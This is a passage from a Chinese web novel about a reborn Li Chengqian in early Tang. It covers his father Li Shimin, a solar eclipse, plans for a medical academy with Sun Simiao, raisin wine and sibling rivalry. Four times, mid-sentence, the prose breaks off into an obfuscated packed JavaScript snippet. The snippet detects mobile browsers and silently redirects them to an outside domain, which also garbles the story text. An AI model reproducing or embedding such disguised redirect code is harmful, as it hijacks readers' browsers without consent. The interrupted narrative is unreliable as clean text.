李世民不免有些讪讪的:“阿耶也没说重话啊?承乾你怎么就哭了?” 下一秒,李承乾把自己埋进阿耶怀里,默默流泪。 李世民感受着胸前衣襟的湿润,一时间竟有些不知所措。他因为常年领兵在外,和几个孩子聚少离多,所以对几个孩子,音娘为严母,他却多以慈父相待。承乾是他和音娘的嫡长子,是他们夫妻俩寄予了殷切希望的孩子。承乾自小就十分懂事,帮助母亲照顾幼弟幼妹。对承乾,他既不敢宽,怕他荒于游戏;又不敢严,怕他早慧多夭,反复斟酌,小心翼翼。 他从未见长子如此哭过,一时间竟不知该如何是好。 内侍端来热布和干净的衣服。李世民无措地拍了拍长子瘦弱的肩膀,在他耳边安抚道:“承乾,如今已经入秋,你先把身上的汗擦一擦,换身干净的衣服,免得着凉。” 李承乾点点头,从父亲怀里起身,沉默着开始脱衣、擦身、换衣。 李世民就坐在一边,看着长子换衣服,并不避开。他看着长子消瘦的身体,忍不住担心道:“怎么就这么瘦,不长肉呢?” 李承乾闻言,不免低笑一声:“阿耶别担心,我……”等话说出口,才发现声音已经哑得不能听了。 内侍送上温水,李承乾正要伸手把水碗拿起,另一只大手却抢先一步拿起碗,把水送到他嘴边:“阿耶喂你喝,你这几日别动你这双手了。” 李世民给李承乾喂完水,又亲自给李承乾那双裂开流血的手涂上膏药,缠上细布包扎。 等这一切都处理完,李世民才略带疑惑地问道:“承乾,你今日好端端的哭什么?有人惹你不高兴了。” 李承乾沉默着摇摇头。 李世民将长子抱进怀里,学着妻子的样子轻轻拍打他的背脊安抚他。良久,才问道:“和阿耶也不能说吗?” 李承乾沉默着,等到许久之后,李世民才听到他发出声音:“阿耶,我害怕。” “如果……我当不好这个太子该怎么办?” 李世民叹道:“阿耶之前和你说过,阿耶会教你的。不要怕,承乾,有阿耶在呢。” 李承乾沉默了一会儿,突然道:“阿耶,等我死了之后,你给我‘怀献’二字作为谥号,好不好?” 李世民怒道:“承乾,你在胡说八道什么,怎可厌咒自己?” 李承乾一时间没有回答。 李世民实在不知道该怎么安抚长子:“承乾,对于当太子,你就这么害怕吗?” 李承乾摇头:“我不怕当太子,我只怕让阿耶失望。” 李世民无奈气笑:“承乾,阿耶和阿娘确实对你寄予厚望。可阿耶也告诉过你,阿耶会教你的。你做错事,阿耶会帮你改正,所以你不要担心。” 李承乾:“如果是无法挽回的错事呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14370035|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李世民笑道:“就算是那样,阿耶也会原谅你的。” 李承乾想起前世种种,眼眶一热。 眼看着长子又要落泪,李世民实在是不知道该怎么哄了:“要不,阿耶给你唱首歌?” 李承乾破涕为笑:“不要,阿耶唱歌好难听的。” 李世民笑骂道:“胡说八道,你阿娘常夸我呢。”他见长子脸上总算有了笑意,拍拍他稚嫩的肩膀:“起来吧,承乾。你还没用饭吧,下去吃饭。” 又嘱咐内侍:“去丽正殿告诉皇后一声,朕在显德殿陪太子用膳,不必等了,让她早些休息。” 李世民陪长子吃过晚饭,又让人收拾床铺,让李承乾今晚留在显德殿休息。 …… 第二日,李承乾起床,回想昨天晚上的情境,深觉丢脸。 此时他正和李世民坐在一起用朝食,李世民见他一脸懊恼,嘲笑道:“怎么,如今清醒过来,知道丢脸了。” 李承乾耳尖微红,没有作声。 李世民继续笑道:“若是丽质知道你昨晚哭成那样,肯定要笑话你这个阿兄的。” 李承乾无奈道:“阿耶——” 李世民哈哈大笑:“好了,我不说了。看你吃饭那个艰难的样子,让人喂你吃吧。我已经吩咐你的几个老师,等你手上的伤好之前,不必让你写字了。” 李承乾今早起来之后,确实浑身酸痛,大概是昨天射箭的时候肌肉拉伤了。刚才拿筷子的时候,也是使劲了全力忍着剧痛才把筷子拿起。 可面对要给他喂食的内侍,李承乾怎么好意思呢。他只能颤抖着手坚强地用筷子吃饭。 李世民见状无奈摇头:“你这个倔脾气也不知道到底像谁。承乾,回去之后记得叫太医署的按摩博士给你好好按一按,不然这半月你只怕要一直痛下去。” 李承乾点点头:“我知道了,阿耶。” 吃完早饭,李承乾回去上课。 …… 这日是李泰的生日,李世民也不好厚此薄彼,中午也让子女们聚在一起为李泰庆生。 只是因为前一日大兄李承乾被封为太子,明明都是长孙皇后的儿子,如今却拉开明显的差距,李泰心里有些不高兴,但面对阿耶和阿娘,他却不得不笑脸相迎。 李承乾用包纱布的手端起酒杯,对李泰道:“青雀,生辰快乐。” 李泰点头:“多谢大兄。” 他正要饮满此杯,却见坐在上首的李世民道:“青雀,你大兄手上有伤,不宜饮酒。来人,把太子桌上的酒撤下去。” 李承乾只能在心里暗暗叫苦,让人换了饮子。因果循环,报应不爽。但这报应来得也太快了一点吧。 …… 李承乾的太子册封典礼定在十月初八。 不过,在此之前。 十月初一,长安的天空上出现了日食。 天狗食日,视为不详。或是君王德行有亏,或是朝中有淫邪之人。 面对这次的日食,李世民选择沉默。 20.大唐医学院 显德殿前的广场上还散落着用于驱赶天狗的羽箭和锣鼓,周遭的宫人们面上还残留着惊慌,像是被日食的景象吓得不轻。 李承乾得到通报走进殿内时,李世民正在看今日送上来的奏报。见李承乾走进来,李世民放下手里的笔,温声道:“承乾怎么来了?是被刚才的日食吓到了吗?” 李承乾摇摇头,只看着阿耶,认真道:“我过来,只是想和阿耶说一句话。” 李世民来了兴趣,笑道:“什么话?” 李承乾道:“食有常数,不在政治。百变千灾,皆同一状,未必人君政教所致。”日食和各种天灾人祸,都是自然规律,不是由人君的政治所决定的。 李世民读懂了儿子言语中的宽慰之意,笑道:“这是王充《论衡》里的话吧,你的杂书倒是读得多。承乾,可惜《论衡》这本书,你只读懂了一半。 “王充此人还说,雩祭者之用心,慈父孝子之用意也。无妄之变,百民不知,必归于主。为政治者慰民之望,故亦必雩。 “虽然人君向鬼神祷告祭天求雨,并不一定真的能求来雨水。但君王求雨的心意,就和明知父亲病入膏肓无药可医,却依旧求神祈福、求医问药的孝子一样,虽然没用。但是君王施展仪式,满足子民渴求降雨的愿望,体现了君王的宽慰子民之心。” 李承乾闻言愣住,这才想起阿耶并不信鬼神。他不由想起自己前世两次大病,太医们无计可施,阿耶就召集了和尚道士进宫为昏迷中的他祷告祝福。所以那时候阿耶明明知道和尚道士无用,却还是因为爱子之心把他们召进宫吗? 李世民见长子一时呆住,不知道在想些什么,就把他拉到身边,殷切教导他:“承乾,日食之说、神鬼之说不可信。但为君者,却不能不敬之。这些鬼神之事到底是真是假,你自己心里明白就好。可小民多愚昧无知,他们却是信鬼神的,所以君王才要反省自己的得失,做有德之君。汉文帝的罪己诏,不是写给他自己看的,而是写给天下万民看的。” 李承乾点点头:“阿耶,这些我知道。”他在现代走了一遭,知道日食不过是一种自然现象,天人感应是为了限制君权,但没想到阿耶也能看得这么透彻。 李承乾继续道:“可是这次日食,朝中恐怕会有异议,阿耶想好要怎么办了吗?” 李世民笑道:“承乾是在担心阿耶吗?” 李承乾略微有些不自在,眼睛盯着桌上的一方端石凤池砚,半晌不语,才闷闷地应了一声:“嗯。” 李世民失笑:“也不知道你这别扭的性子到底随了谁。不急,朝中之事,我自然会处理,你不必担心。” “对了,承乾,你之前不是说想要召孙思邈入京吗?如今他人已经在长安,你可要见他?” 李承乾立刻道:“要。” 想了一会儿,李承乾又摇头:“还是再过几日,等日食的影响过去,再召孙思邈入宫吧。” 李世民评价道:“你如今倒是考虑得比以往要周全多了。” …… 十月初八,立皇太子。 唐代册封皇太子的典礼非常复杂,拜皇帝、拜皇后、谒太庙,礼仪繁琐复杂,持续了好几天。 李承乾虽然前世已经经历过一次,但重来一世,还是累得够呛。 他原以为朝中对十月初一的日食会有什么争议,但在太子册封典礼之后,李世民又开始册封百官,朝中关于日食的争议一下子就消失了。 日食的影响一过,李承乾立刻召孙思邈入宫,让他为太上皇李渊、皇帝李世民和皇后长孙无音诊脉。 其实太医署并非没有医术优秀的太医,但因为这是太子李承乾的一番心意,三位长辈也没有拒绝。 孙思邈给三位贵人诊脉结束之后,向太子李承乾讲述了三人的病情。 太上皇李渊目前身体还算健康,问题不大。皇帝李世民因为常年出征在外,身上有多处暗伤,现在年轻影响不大,只是老了之后恐怕会爆发出来。至于皇后长孙无音,身体有亏,患有气疾。 李承乾忍不住追问道:“孙医对气疾可有根治之法?” 孙思邈摇头:“并无。” 李承乾听到这话,也没有特别失望。前世因为阿娘有孕后迟迟没有生产,阿耶也曾经召孙思邈入京为阿娘诊脉。前世阿娘没有治好的病,当然不可能因为他的重生就突然有了治疗方案。 这种涉及呼吸系统的疾病,就算是放在现代社会也没有办法根治,只能用药缓解。而像孟鲁司特钠、沙丁胺醇、异丙托溴铵之类治疗哮喘的药,涉及到的分子式过于复杂,以封建社会的工业技术根本就不可能制备成功。就算真的制备出来,因为不知道制备出来的药物中会混有多少有毒成分,李承乾也不敢拿这样的药给阿娘服用。 李承乾继续问道:“那孙医可有缓解养生之道?” 孙思邈养生有道,七十多岁但却依旧身形矫健,他便向李承乾说了一些饮食上的注意事项,又道:“患气疾者,需戒急戒躁、戒忧戒虑,知足常乐,方得长久。” 李承乾点头,命人取来纸笔,将孙思邈的这些话记在纸上。阿娘并非急躁之人,可她的忧虑却多因他们几个孩子而起。 孙思邈见状道:“吾观殿下面色,殿下也该少些忧思才是。” 李承乾叹道:“这天下谁会没有烦恼呢?不过您的话,我听进去了,会警记于心。”顿了顿,李承乾又道:“不知孙医可曾听说过甄权甄医?” 孙思邈点头:“吾虽未曾见面,却已神交已久。” 李承乾笑道:“如此便更好了。前些日子,我想印刻张医圣的《伤寒杂病论》,特意请甄医为其校正纠错。只是甄医年事已高,我也不敢太过劳烦老人家,能否请孙医一道帮忙校正?我已经命人在长安辟下宅院,孙医只管安心住下。” 孙思邈沉吟片刻,没有回答。 李承乾继续道:“其实,我还有一事要求助孙医。” 见孙思邈看向他,李承乾道:“如今朝中虽有太医署,但其中的太医却大多只服务贵人,少有惠及小民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379921|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者。我想改医制,另辟新校,惠及万民。只是我不通医道,一时间竟不知该如何下手,所以特想孙师请教。” 没等孙思邈回答,李承乾继续道:“再者,前人刻书,多印刻经史子集,如《伤寒杂病论》这类的医书,却少有人印刻,导致原书失散。虽然后来有晋人王叔和整理校勘,但说到底还有不少篇章失传,我深以为憾。不知孙医可有著书之意?承乾愿为印刻。” 孙思邈这些年确实有想要写医书的念头,但是一直没有下定决心。如今被太子这么一劝说,心中的念头又重新勾了出来。 他犹豫再三,道:“此事事关重大,还请太子允许某回去之后再细细思量,再予以答复。” 李承乾点头:“这是自然。承乾已经命人在长安备好宅院,孙医回去之后好好休息,过几日再答复也不迟。来人,送孙医出宫。” 孙思邈行礼告退。 孙思邈离开之后,李承乾命人裁纸磨墨,在纸上写了起来。 …… 《关于大唐医学院的建设性构想》。 李世民看了一眼手上的这份奏疏,又看向站在面前的太子李承乾,不由笑道:“承乾,你的这份奏疏可没有经过门下省审议啊?” 李承乾点头,无奈道:“阿耶又在为难我了,儿臣又没有上朝议政,怎么把奏疏交到门下省?” 李世民笑笑,这毕竟是承乾册立太子以来交上来的第一封奏疏,他笑过之后还是认真看了起来。 其实李承乾没有写太多东西,主要是把现代医学院的组织架构搬了过来,再结合唐朝实际情况再加以修改。 李世民仔细阅读之后,虽然觉得部分想法有些异想天开,但也并非没有可行之处。只是,他指着纸上的一处文字道:“这试药志愿者制度该作何解释?” 李承乾沉默片刻,答道:“有些太医新研制的药方,不知其疗效,对健康的人又不对症,所以要招募一些对应疾病的志愿者进行试药。” 他紧接着道:“当然,这是在确定药方足够安全的情况下进行,就算不能缓解病人病情,但至少也不会加重病情的情况下。” 作为一个封建帝王,李世民对此倒是接受良好。唐时的医生道士常有治病治死人的,以承乾的说法,这试药志愿者既有银钱可领,又有药可医,已经足够安全了。 不过,如果仅仅只是这样,李世民恐怕也不会多问,他重点指了指后面半月形符号里的文字:“承乾,为何你这里要特别备注多选气疾、风疾的病人?” 李承乾沉默着看向李世民。 李世民恍然大悟,笑道:“哦,和我、和你阿娘的病有关。” 虽然阿耶没有责备的意思,但李承乾还是忍不住心虚道:“阿耶不会觉得我私心太重吗?明明说是建医学院,但是我却……” 李世民笑着打断他道:“承乾,人皆有私。更何况,你这么做也是为了我和你阿娘,我怎么会怪你?” 李世民看向长子:“承乾,你要为君王,但不要做圣人。” 21.蒲萄酒 李世民看向长子:“承乾,你要为君王,但不要做圣人。” 李承乾拱手道:“儿臣谨遵阿耶教诲。” 李世民拍拍长子的肩膀,笑道:“不必如此紧张,我说过,阿耶会慢慢教你的。” 他提问道:“你的这些想法很好,可建医院的钱要从哪里来?大唐立国不过九年,其中多有战乱,如今又大封功臣。国库虽说不至于空虚,但为了预备灾年,不可轻易动用。不过阿耶的私库倒是可以给你用……” 没等李世民说完,李承乾就连忙打断他:“不要,我才不要用阿耶私库里的钱。” 李世民笑了笑:“既然如此,那你就只能等着你舅舅卖糖的钱了。辅机为人知趣懂礼,卖糖之巨富,他不会独享,想来会献上一些。制糖毕竟用的是你的方子,那些钱阿耶不会动,都留给你。只是甘蔗长成需要时日,制糖买糖也需要时日,只怕不会太快。承乾,趁着这段时间,你好好把自己的方案改进一下。” 李承乾点头:“我知道了,阿耶。”想了一会儿,李承乾又道:“阿耶,其实不用等舅舅的卖糖钱,想要快速弄到一笔钱,也不是没有其他办法。” 这下李世民是真的好奇了:“你还能想到什么主意?” 李承乾犹豫了一下,摇头道:“还是不说了,此法虽然便利,但若是在长安引起了坏风气,反倒不好。” 李世民被勾起了兴趣,哪能容许李承乾这样吞吞吐吐:“这里只有我们父子二人,你又何必隐瞒?” 李承乾无语半晌,指着满宫的内侍:“阿耶,这儿怎么会只有我们两人?” 还好阿耶是到贞观二年才设置起居郎,不然如今这幅丢脸的样子岂不是还要被写进史书里? 李世民掩饰尴尬地咳嗽了两声:“还不快说。” 见李世民执意想要知道方法,李承乾无奈妥协:“能赚钱的办法,无非就那么几种,盐铁不能去动,剩下的便是糖和酒了。” 李世民点头:“酒?难怪承乾你会担心在长安引起不好的风气。酿酒耗费粮食颇多,确实不可。不过酿制米酒虽然只需要半月,但却远远不能够卖一大笔钱啊。承乾你还没学会饮酒,恐怕不知道只有上好的烈酒才能卖出好价钱。” 李承乾道:“阿耶,我既然这样说了,那自然有我的缘故。若是蒲萄酒,阿耶可否觉得卖得上价?” 李世民惊讶道:“承乾居然还会酿蒲萄酒?不过此时已经十月寒冬,你哪儿来的蒲萄可以酿酒?” 李承乾笑道:“阿耶,虽然如今没有蒲萄,但府库里应当还有阴干的蒲萄干。取蒲萄干放置于瓮中,再加入烈酒,密封保存,不足半月,便可得到蒲萄酒了。虽然比不上用新鲜蒲萄酿制的蒲萄酒,风味要略差些,但如今各家府上贮存的蒲萄酒恐怕也不多了,应当卖的上价钱。” 李世民连声叹息道:“何止是各家府上的蒲萄酒不多,便是宫中的蒲萄酒也不多了。” 李承乾突然感到不妙,果然,下一秒就听到李世民道:“虽然如今不好将蒲萄酒拿去卖钱,但是自饮却是无事。承乾,你这个酿酒的法子倒是妙,只怕元日你阿耶我就可以喝上新酒了。” 李承乾半晌无语,虽然如今生产蒲萄的高昌国并未国灭,但阿耶对蒲萄酒的热爱还真是始终如一啊。 李世民正畅想在即将喝到的美酒中,见李承乾还站在原地,连忙摆手道:“好了,承乾,你快回去念书吧。这份关于建设大唐医学院的方案,你再好好想想看要怎么改。” 李承乾无奈:“是,阿耶,承乾告退。” …… 李承乾回到了自己的宫室。他如今毕竟只有八岁,也做不了太多事。因为他还没行冠礼,他如今的属官都是由皇帝李世民任命,并不会听从一个八岁太子的话。被立为太子之后,除了教他的老师比以前更多,要读的书比以前更多之外,李承乾的生活并没有发生什么太大的变化。 …… 时间过得飞快,很快就到了武德九年的年底,因为大唐换了新的皇帝,新罗、龟兹、突厥、高丽、百济、党项等地都派使者前来朝贡。 同时,李承乾早夭的二弟李宽被追封为楚王,三弟李恪被封为汉王。 四弟李泰因为早在武德四年被李渊过继给叔叔李玄霸做后嗣,所以此时仍是卫王,没有动过。 五弟李祐被封为楚王。 说实话,李承乾一直觉得阿耶这样给李祐封号,挺让人无奈的。虽然李祐得封的楚地并不算贫瘠,但是李世民刚把楚王这个封号给了早夭的二儿子李宽,马上又把这个封号五儿子李祐,未免也太晦气了些。 不过,虽然李承乾和李祐在前世同为造反小分队的一员,但两人之间其实并没有什么交情。只是如今回想起这些往事,李承乾心里还是觉得有些可笑。 因为诸地派遣使者来朝和皇子封王的时间挤到了一块儿,所以这段时间朝中忙得不行,就连李承乾的几位老师也被喊回去帮忙,不能来给李承乾上课。 李承乾倒是难得偷得浮生半日闲,可以有时间仔细想想自己接下来的打算。 阿耶就算没有他的帮忙,前世也已经开创贞观之治,他的作用只不过是锦上添花,并不重要。 倒是阿娘的病,更让他忧心。前世阿娘贞观十年病逝,才活了三十六岁。这一世他提前召孙思邈入京,用印刻医术、筹办医学院的主意让孙思邈在长安多待几年。他还有十年时间来培养医学人才,改良药方,就算不能根治阿娘的气疾,至少也要找到缓解的办法。也不知道足够纯净的玻璃能不能尽快造出来,甄权、孙思邈等人拿到显微镜,会不会得到什么启发。 等等,他想起来了,他记得还在现代的时候查过资料,茶碱也可以用于治疗慢性阻塞性肺疾病和支气管哮喘,而茶碱可以从茶叶中萃取,不像其他治疗哮喘的药物在这个时代根本无法制备。 李承乾简直欣喜若狂,他总算找到了一点能治疗阿娘的希望。萃取茶叶中的茶碱,至少需要用到萃取蒸馏的玻璃容器和高浓度的酒精。若是工部的匠人实在没有办法造出玻璃的话,那到时候只能用陶瓷制作蒸馏容器试试看了。 等他把茶碱制备出来之后,再召集和阿娘有类似疾病的患者,让孙思邈他们测试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390630|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效果,再针对阿娘的病情进行改善。 想到这里,李承乾终于松了一口气。 他赶紧提笔把自己想到的东西记下来,藏在床内的暗格处。随着他回到唐朝的时间越来越久,他对现代生活中有关各种细节的记忆也越来越模糊。所以每每想起他觉得重要的事,他总要提笔记下,防止自己遗忘。 李承乾刚把东西藏好,就听见庭院外传来喧哗之声。 他走出去问道:“出了什么事,怎么这么吵吵嚷嚷的?” 其中一个宫女脆生答道:“回太子殿下的话,听说是党项进贡的沙猫咬破了竹笼跑了出来,宫里的内侍正在捉猫呢。殿下现在别出去了,免得被冲撞了。” 李承乾笑道:“你倒是机灵,叫什么名字?” 那宫女答道:“奴婢贱名不敢污殿下之耳,请殿下为奴婢赐名。” 李承乾叹了口气,他虽然知道自己被册封太子之后,会有更多的追随者和依附者,却没想到居然来得这么快。 他看向那名宫女,问道:“你衣服袖口绣的可是石榴花?” 那宫女答道:“正是石榴花。” 李承乾沉吟片刻,道:“《酉阳杂俎》里说,石榴,一名丹若。你裙上既然绣有石榴花,那就叫你丹若吧。” 丹若欣喜道:“多谢殿下赐名。” 李承乾问她:“对了,王乳娘呢?” 丹若答道:“今日遂安夫人告假归家,出宫去了。殿下莫不是忘了?”李承乾被立为太子之后,他的乳娘王氏就被封为遂安夫人。 李承乾回忆了一下,确实有这回事,只是他刚才一时忙起来忘了,现在倒是记起来了。 他不是真正八岁的孩童,倒不至于离不开自己的乳母,只是王乳娘一直在身边照顾他,一时间突然离开,反而有点不习惯。 李承乾正想说些什么,突然一个灰毛团子热乎乎地突然撞进他怀里,瑟缩着不敢动弹。 李承乾低头一看,不由惊道:“孙四秒?”这不是兔狲吗? 丹若不解其意,但看见党项进贡的沙猫居然躲进了太子殿下怀里,不由一点点小心靠近那只兔狲:“殿下小心,这恐怕就是那只逃出笼子的沙猫。这猫凶得很,殿下不如交给奴婢吧。” 李承乾点头,他并没有养宠物的打算。更何况阿娘患有气疾,他时常要去拜见阿娘,如果身上沾了猫毛,只怕更是不妥。 丹若趁着沙猫不注意,趁机把它从李承乾怀里抱走,交给一旁的内侍,这才松了口气:“殿下没事吧,有没有被抓伤?” 李承乾摇头:“我无事,你们不必惊慌。” 他看着那只兔狲被内侍抱着走远,发出可怜的哀嚎,不由心生动容,到底是勾起了他关于现代的一些记忆。 他吩咐丹若:“你去吩咐照顾沙猫的内侍,照顾好它,不要虐待它。” 丹若点头:“是。” 正吩咐着,丽正殿传话过来,吩咐李承乾过去一趟。 李承乾闻言,立刻换了一身衣服,去往丽正殿。 也不知道阿娘这么急着找他到底有什么事? 22.改元 李承乾走进丽正殿的时候,发现青雀和丽质也在殿内。 母亲长孙无音正站在一架栏车前,逗弄着睡在里面的小婴儿。 李承乾走进来,先向母亲行礼,随后弟妹青雀、丽质又向他这个太子行礼。 李承乾对弟妹点了点头,对着母亲道:“阿娘命人唤我来,是有什么事吗?” 长孙无音看着睡在栏车的小婴儿道:“前几日,下嫔刘氏生下六娘之后就因为血崩过世了。我已经和你们阿耶提议要抚养六娘,你们阿耶也同意了。我只当这孩子是我亲生的,你们作为六娘的兄姊,以后对待六娘要像对待彼此一样亲密,知道吗?” 李承乾、李泰、李丽质三个孩子都口中称诺。 只是李承乾心里却不由叹道,同母弟妹和异母弟妹怎么可能会一样呢?他对丽质的喜爱远超其他妹妹,对青雀的恨意也远超其他弟弟。人皆有私,阿娘却只一心想要成为圣人,未免也过于贤惠了。 长孙无音对李承乾道:“承乾,你如今为太子,更要小心谨慎,注重自己的德行。如今年关将近,你的几位老师,我已经命人赏赐了财物。你自己也要对老师们更加敬重才行。” 李承乾点头:“我知道了,阿娘。” 长孙无音又对李泰道:“青雀,这次你阿耶大封诸子,没有封你,你心中可有委屈?” 李泰摇头,解释道:“阿娘放心,我明白其中的道理。武德四年,我就已经被封为卫王,甚至比大兄之后封的中山郡王的爵位还要高。如今阿耶大封诸子,不过是回归正理,我怎么会因此感到委屈呢?” 长孙无音笑道:“青雀,你能明白其中的道理,这就很好。” 话音刚落,就有爽朗的笑声从外面传来:“如此可见,青雀确实是懂事了不少啊。” 众人见李世民走入殿内,纷纷行礼问安。 李世民摆手让他们免礼,又拍拍青雀的肩膀,笑道:“不急,青雀,你的封号和封地,阿耶早已经帮你想好,只是如今国朝未稳,还要再等两年。” 现在的李泰名义上还是李世民死去的胞弟李玄霸的儿子。李世民为此多有愧疚,总觉得委屈了青雀。 李泰笑道:“多谢阿耶。” 李承乾站在一旁,静静地看着眼前这一幕,叹息一声。他清醒地知道,他的父亲爱他,又清醒地知道,他的阿耶实在是个多情之人。对于他所爱的孩子,他总是倾其所有。 李世民又把女儿丽质叫到跟前,细细地问了她的饮食起居。 最后他看向他的嫡长子李承乾:“承乾,这几日你的老师们没有时间入宫教你,你也不可误了功课,知道吗?” 李承乾点头:“阿耶,我明白的。” 看到长子这幅清瘦的样子,李世民又叹道:“承乾,虽然阿耶叫你读书,可你也不必太辛苦,好好保养自己的身体才是第一位。” 李承乾脸上露出笑意:“我知道的,阿耶。” 长孙无音这时才有空问道:“二郎此时不是应该在上朝,怎么有空回丽正殿休息?” 李世民忍不住向妻子抱怨道:“音娘恐怕不知道,今日朝上萧瑜和陈叔达在殿内吵了起来,我几次劝阻,他们不仅没有停下争吵,反而大打出手,满朝文武乱作一团。我没耐心继续听他们吵架,就先回来了。” 长孙无音问道:“不知两位相公是因为何事争吵?” 李世民冷笑道:“左不过是因为那点鸡毛蒜皮的小事,他们公然在显德殿内争吵,完全没有把朕这个皇帝放在眼里。” 长孙无音劝道:“萧瑜和陈叔达在殿内争吵,殿前失仪,这是他们的过错。二郎为此气坏了自己的身子,反倒不值得。” 李世民长吁一声,吐出一口浊气:“音娘说的是,我何必为了这两人生气,只管杖刑罢官就好。” 长孙无音心中一跳,连忙劝道:“虽然按照规矩,大臣于殿内争吵确实应该杖刑三十。只是这两人如今都年事已高,之前又为了立二郎为太子之事多次劝说太上皇,慷慨进言,于国有大功,不如就免了他们的杖刑吧。” 至于免官之事,这两人殿前失仪,确实犯了大错,长孙无音不会再劝。 “也罢,那就依你之言吧。”李世民叹了口气,又看向眼前的三个孩子,“倒是让你们几个看了场笑话。好了,既然已经看过新妹妹了,就回去吧。你们阿娘这几日要忙着照看六娘,没什么功夫管教你们,你们也不能失了懈怠。” 李承乾等三人应诺,带着母亲要养新妹妹的消息相继行礼离开。 离开丽正殿后,李丽质的神色明显耷拉了下来,李泰虽然看着面色如常,脸上却没有了笑意。 李承乾叹道:“丽质、青雀,去我宫中坐坐吧。” 李丽质立刻欢呼一声,扑进李承乾怀里。 李泰想了想,拱手道:“大兄美意,泰本不该推辞,但阿耶让我们认真读书,我还是不去打扰大兄了。” 李承乾笑笑,也不勉强他:“既然如此,那就罢了。青雀,我是你的兄长,若是你心中有不愉之事,向大兄诉苦也是应有之理。” 李泰张了张口,还是没有说出什么别的话来,只道:“大兄,我先回去了。” 李承乾点头,不再多劝。 …… 李承乾带着妹妹李丽质回到自己居住的宫殿,让人上了茶水点心。 李丽质不顾形象,一口一个,开心地吃着点心,明显是在发泄。 照顾李丽质的乳母见状,连忙劝阻道:“娘子如今是皇女,也该注意些礼节才是。再过一个时辰就要用膳了,娘子吃这些茶点,耽误了正餐,倒不好了。” 虽然乳娘说得话在理,但李承乾还是把她赶了出去:“你先下去休息吧。寡人为太子,自然会管教自己的妹妹。” 那乳娘不好多说什么,只好出去了。 李丽质咽下嘴里的小蛋糕,低下头等了许久,一直没等到兄长的职责之声,忍不住抬头看向李承乾:“大兄不骂我吗?” 李承乾笑道:“丽质,我为什么要骂你?” 李丽质道:“因为我刚才吃东西发出声音了。乳娘给我说过《礼记》关于饮食的规定,其中有一条是‘毋吒食’,吃东西的时候不可以发出声音。” 李承乾怜爱地摸了摸妹妹的脸,叹息道:“怎么可能有人吃东西不出声呢?在旁人面前也就罢了,在阿兄面前,丽质不必如此拘束。” 李丽质闻言,轻松地笑了笑。继而有小声附到兄长耳边,小声道:“阿兄,我不喜欢六娘,她把阿娘给抢走了。阿兄,我这样想是不是很不对啊?我觉得我好坏啊。” 李承乾看着眼前的妹妹,她如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404204|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今才六岁,放在现代,都还没上小学呢,却有这么多的烦恼。 李承乾笑道:“那阿兄和你一起不喜欢她,好不好?” 李丽质立刻摇头:“那还是不要了。她已经没有阿娘了,如果阿兄和我一起讨厌她,也太可怜了。” 李承乾道:“那要怎么办呢?” 李丽质苦恼道:“我也不知道。” 李承乾拉起妹妹的手:“丽质,阿耶是帝王,他还会有很多的孩子。阿耶喜欢你,也喜欢他的其他孩子。但是阿兄答应你,阿兄只喜欢你一个妹妹,好不好?” 李丽质追问道:“那如果是阿娘生了新的妹妹呢?” 李承乾笑道:“那我也只喜欢丽质一个妹妹。” 李丽质抱住李承乾:“那我也只喜欢阿兄。”她伸出小指:“这是我和阿兄的秘密,不能告诉别人。” 李承乾伸出小指勾上:“好,不告诉别人。” 安抚完妹妹,李承乾让人小心把她送回宫中。 回到寝殿,他命人取下墙上的弓,用干布一点一点命人擦拭起来。李承乾啊李承乾,这到底是你哄妹妹的话还是哄你自己的话呢?别再幼稚下去,认清楚事实吧。 …… 武德九年转瞬即逝,到了元日大朝,皇帝李世民正式宣布改元贞观。 因为这年是贞观元年,改年号为贞观的第一年,过年期间各种宴会庆贺活动自然热闹非凡,李世民对臣子也多有赏赐,还把之前按照李承乾说的法子酿好的蒲萄酒拿出来与群臣共饮。 等到人日正月初七,宴会赏雪,赋诗助兴,赏赐彩娟,添了不少笑声。 正月十五,长安城内不闭坊门,可在夜间出门燃灯、赏灯。 